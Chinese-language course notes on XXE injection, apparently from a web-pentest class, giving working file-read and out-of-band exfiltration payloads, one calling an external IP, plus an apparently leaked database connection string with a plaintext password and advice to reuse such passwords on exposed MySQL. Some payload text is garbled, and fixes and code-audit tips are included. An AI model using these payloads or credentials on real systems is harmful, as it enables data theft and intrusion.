XXE - 实体注入(xml外部实体注入)

XXE的危害和SSRF有点像

XXE = XML外部实体注入 (被各种后端脚本调用)

=>XML(存数据不会做任何事情)(像html|传输数据|无预定义)

=>外部实体()

=>注入 [用户输入的数据被当做代码进行执行]

预定义:(预先定义好的东西)

var_dump() 查看数据类型?

eval() 可以命令执行?

echo 他可以输出?

前端代码:

<b></b> 加粗

<h1></h1> 大标题

XML:

<b></b> 名字而已

<h1></h1>

XML:是一个纯文本 存储信息(可以自己发明标签)

<?xml version="1.0"?> 1.0版本

DTD(通过特殊的命令去其他文件读取信息)

SYSTEM

XML部分

引用(1.txt) 包含(include) 目的处理代码冗余

mysqli_connect();

mysqli_query();

mysqli_close();

危害:

XXE 可以通过dtd去读取、访问其他文件或者网站

实体 => 变量 调用变量&实体名;

<!DOCTYPE scan [

<!ENTITY test SYSTEM "file:///c:/1.txt">]> DTD部分

将c的1.txt文件放入test中

<scan>&test;</scan> XML部分

simplexml_load_string() // 读取字符串当作xml执行

simplexml_load_file() // 读取文件当作 xml执行

<?php test = '\\]\>\\&test;\'; obj = simplexml_load_string(test, 'SimpleXMLElement', LIBXML_NOENT); print_r(obj); ?>

变量test里面是XML 然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

XSS平台:

你打XSS到目标站点 -> 有人访问后把数据传到平台 -> 记录下来,等你来看

XML: 请求一个你自己搭建的php文件,其他的文件。(你想要的数据给带出来)

php文件记录请求的传参内容(记录文件)

等你去看就可以了

没有回显,外带出来:

1、获取信息

2、发送信息

file:/// 正常情况下,网站不应该使用的协议

PHP伪协议(PHP的内部协议)

php://filter/read=convert.base64-encode/resource=a.txt

如何寻找XXE:

1、看到数据包莫名其妙传递、返回XML代码可以试试

2、代码审计

代码审计:

1、静态审计(纯看)

2、动态审计(网站运行起来,然后通过一些特殊手法,去追踪具体的代码流程)

3、小技巧:依靠静态看代码,然后不用动态调试软件,直接修改源码进行动态调试

有些代码会被引用几百次 如何确定这段是否实现 加入相关语句 看页面回显 有回显就是执行了 没有回显就是没执行

静态:

1、全文通读(可拿bluecms练习)

2、危险函数定位 eval() mysqli_query(

$GLOBALS['HTTP_RAW_POST_DATA'] => 获取POST原始数据 (form表单)

<?xml:version="1.0">

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy
scms/conn/conn.php">

8 remote SYsTEM "http://59.63.200.79:8014/xxe/1.xml">

<!ENTITY

&remote;

&send;

]>

使用时更改红色就对路径

有的网站可能开了3306 远程数据库连接 即可用xml实体漏洞爆出的密码连接

<?php

error_reporting(E_ALL ^ E_NOTICE);

header("content-type:text/html;charset=utf-8");

session_start();

$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");

md5 => 明文能转密文 密文不能转明文 (e99d2e51cbefe75251f1d40821e07a32)

1.48

修复XXE:

1、libxml_disable_entity_loader(true); PHP的(禁止加载XML实体)

2、过滤SYSTEM关键字

总结:

1、XXE => XML外部实体注入 (目标执行了我们提交的XML代码)

2、XXE代码层(套)

3、危害 => SSRF 差不多

4、回显问题 => 2步走的方法外带出来

5、如何找这个漏洞(1、看到传参或者返回包出现xml 2、代码审计)

6、代码审计(动态、静态[全文、危险函数]、小技巧)

7、seay工具(全文搜索,定位函数)

8、本地测试,最好可以开一个全新环境,以免出问题

9、以前存在的漏洞,去看了之后可以尝试去找新的漏洞(查看补丁)

相关推荐
jump_jump2 小时前
前端部署工具 PinMe
运维·前端·开源
Baklib梅梅3 小时前
优秀文档案例解析:打造高效用户体验的最佳实践
前端·ruby on rails·前端框架·ruby
慧一居士3 小时前
VUE、jquery、React、Ant Design、element ui、bootstrap 前端框架的 功能总结,示例演示、使用场景介绍、完整对比总结
前端
GISer_Jing3 小时前
0926第一个口头OC——快手主站前端
开发语言·前端·javascript
MediaTea4 小时前
Jupyter Notebook:基于 Web 的交互式编程环境
前端·ide·人工智能·python·jupyter
少年阿闯~~4 小时前
CSS——重排和重绘
前端
个人看法5 小时前
h5实现一个吸附在键盘上的工具栏
前端·javascript·vue
知识分享小能手5 小时前
微信小程序入门学习教程,从入门到精通,微信小程序页面制作(2)
前端·javascript·学习·微信小程序·小程序·前端框架·notepad++
jason_yang5 小时前
JavaScript 风格指南 精选版
前端·javascript·代码规范